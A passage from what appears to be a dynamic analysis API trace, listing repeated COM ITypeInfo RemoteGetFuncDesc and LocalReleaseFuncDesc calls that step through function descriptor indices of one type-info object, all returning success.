(This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1e, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x1f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x20, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x21, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.674] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x22, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.674] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x23, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x24, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x25, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x26, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x27, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x28, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x29, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2a, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x2f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x30, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x31, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x32, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x33, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x34, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x35, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.675] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x36, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.675] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x37, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x38, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x39, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3a, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x3f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x40, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x41, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x42, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x43, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x44, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x45, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x46, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x47, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x48, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x49, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4a, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.676] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.676] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x4f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x50, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x51, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x52, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x53, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x54, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x55, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x56, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x57, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x58, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x59, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.677] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.677] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5a, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5d, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x5f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x60, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x61, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x62, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x63, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x64, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x65, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x66, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x67, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x68, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x69, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6a, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x6f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x70, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.678] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.678] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x71, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x72, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x73, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x74, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x75, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x76, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x77, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x78, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x79, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7a, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7b, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 